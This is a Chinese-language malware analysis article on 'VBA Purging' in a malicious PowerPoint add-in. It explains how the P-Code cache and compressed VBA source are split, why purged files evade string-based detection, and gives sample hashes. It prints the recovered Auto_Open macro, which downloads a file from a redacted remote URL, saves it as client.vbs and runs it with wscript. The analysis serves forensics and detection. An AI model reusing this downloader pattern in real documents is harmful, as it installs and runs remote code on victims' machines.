恶意文档中的 VBA Purging 痕迹：只剩源码的 PPAM 样本

恶意宏不一定同时保留源码和编译缓存。分析一份 PowerPoint 加载项（PPAM）时，如果模块流里还有可以解压的 VBA 源码，而存放编译后 P-Code 的缓存区是空的，分析就应该转向源码和入口函数，而不是因为反编译器没有输出就结束。

样本是 2020 年记录的一份 PPAM：MD5 为 730a8401140edb4c79d563f306ca529e，SHA-256 为 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11。命令在 Windows 命令行中运行，工具是 zipdump.py 和 oledump.py（后者用 Python 3.7 执行）。关注点是 VBA 存储结构，以及它造成的静态检测盲区；某个结构特征本身不等于恶意。

模块流里有两种表示

VBA 模块流通常分成两段：前面是编译缓存 PerformanceCache，保存与编译结果相关、依赖具体实现的数据；后面是 CompressedSourceCode，保存压缩后的源码。把两段统称为“宏代码”会丢掉关键差别：它们可能彼此不一致，也可能只保留其中一种。

两段的分界不是靠搜索字符串找到的。dir 流中每个模块都有一条 MODULEOFFSET 记录，给出该模块压缩源码的起始偏移。dir 流本身是压缩的，分析工具要先解压它，再把这些记录与具体的流名称对应起来，才能正确切分每个模块。

缓存被清除后，源码从流的起点开始，对应的 MODULEOFFSET 变为 0。此外，_VBA_PROJECT 和 __SRP_* 等流也与缓存表示有关，所以判断“只保留源码”要看整个 VBA 存储，而不是只检查一个模块。

这与 VBA Stomping 的方向相反。VBA Stomping 让源码缺失或被改写，编译表示仍然保留；这里是缓存缺失、源码保留，这种处理称为 VBA Purging。两者的取证策略不同，“去看 P-Code”这一条建议覆盖不了所有样本。

从 ZIP 外壳进入 VBA 存储

PPAM 使用 OOXML 容器，外层是 ZIP；VBA 工程是其中的成员 ppt/vbaProject.bin，它本身又是一个 OLE 复合文档。下面这棵树是逐层拆开后的结构，size 是 oledump.py 报告的流长度（字节）。

这个结构由下面几步得到，每一步的原始输出都折叠在命令下方。

按 MODULEOFFSET 切开后，两个模块流的布局如下：样本的整个流都是压缩源码，对照文档的源码只占流末尾的 81 字节。

恶意性来自行为，而不是缓存长度

解压源码后，调用链一目了然：入口函数 Auto_Open 创建 Microsoft.XMLHTTP 对象获取远端内容，用 Adodb.Stream 把响应保存为 AppData 目录下的 client.vbs，再交给脚本宿主 wscript 执行。读取网络内容、落地脚本、启动执行，这条链比“缓存为空”更接近判断恶意性所需的证据。

Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
 .Type = 1
 .Open
 .write xHttp.responseBody
 .savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus


End Sub

1. 入口函数 Auto_Open：PowerPoint 加载这个加载项时自动调用它。
2. 创建 Microsoft.XMLHTTP 对象，用来发起 HTTP 请求。
3. 以同步方式（最后一个参数为 False）请求远端文件。地址以 .png 结尾，但响应随后被当作脚本保存。
4. Adodb.Stream 以二进制方式（.Type = 1）写入 AppData 目录下的 client.vbs；参数 2 表示覆盖已有文件。
5. 交给脚本宿主 wscript 执行刚落地的脚本。

这里应区分三层结论：

• 已经可见的结构事实：缓存缺失，压缩源码存在，目录偏移与流内容一致。
• 已经可见的代码行为：宏包含网络下载和启动脚本的调用。
• 仍需额外取证的结果：当时远端究竟返回了什么、脚本随后做了什么，以及文档是否在目标环境中成功执行。

静态源码不能替代网络响应和运行日志；远端地址现在是否可用，也不影响对历史源码的结构分析。

为什么旧的字符串规则会漏掉它

直接对文档容器扫描明文 API 名的规则，有时实际命中的是编译缓存里的字符串。同样的标识符虽然也在 VBA 源码里，但经过压缩后未必以连续的明文字节出现。因此缓存被清除后，这类规则的命中点消失了，宏的行为却可能保持不变。

这不代表所有规则都会失效：依赖流结构、解压后的源码、API 组合或执行行为的检测，读取的输入完全不同。评估时应先写清规则读的是原始容器、模块流、解压后的源码还是 P-Code，再比较命中的变化。

下面两份历史扫描结果来自同一个样本实验的两个状态：一份恶意 Word 文档（.doc，不是上文的 PPAM）的原始版本，以及清除 P-Code 后的版本。清除后的文件以原始 SHA-256 加后缀 -no-p-code.vir 命名。

当时的扫描页只显示了部分引擎，卡片里列出的就是这些；总数来自扫描页顶部的统计。两边都能看到的引擎里，Ad-Aware 和 AegisLab 对原始文档分别报出 W97M.Downloader.GRU 和 Trojan.MSWord.Agent.a!c，对清除 P-Code 后的版本则显示未检出。

用结构交叉验证取代单点结论

实际审阅时，可以把每个模块整理成一行：模块名称、流总长、MODULEOFFSET、缓存长、源码长、解压结果，以及是否存在入口函数。以上文的样本和对照文档为例（“—”表示上文没有展示）：

偏移至少要满足下面的边界模型：

def split_module(module: bytes, source_offset: int):
    if not 0 <= source_offset <= len(module):
        raise ValueError("source offset outside module stream")
    return module[:source_offset], module[source_offset:]

cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and source

样本指标

下面是本文涉及的样本哈希和宏落地的文件。清除 P-Code 的版本是上文实验中生成的；宏的下载地址在文中已脱敏，没有列入。

小结

最后保留一个重要反例：合法的生成库和 VBA 清理工具也会产生没有缓存的文档。因此：

• 零偏移、只有 7 字节的 _VBA_PROJECT 和缺失的 __SRP_* 是调查线索，而不是单独的封禁依据。
• 反编译器没有 P-Code 输出时，继续解压源码、寻找入口函数，不要就此结束分析。
• 评估检测规则前，先写清它读的是原始容器、模块流、解压后的源码还是 P-Code。
• 更可靠的结论来自结构一致性与源码行为的交叉验证。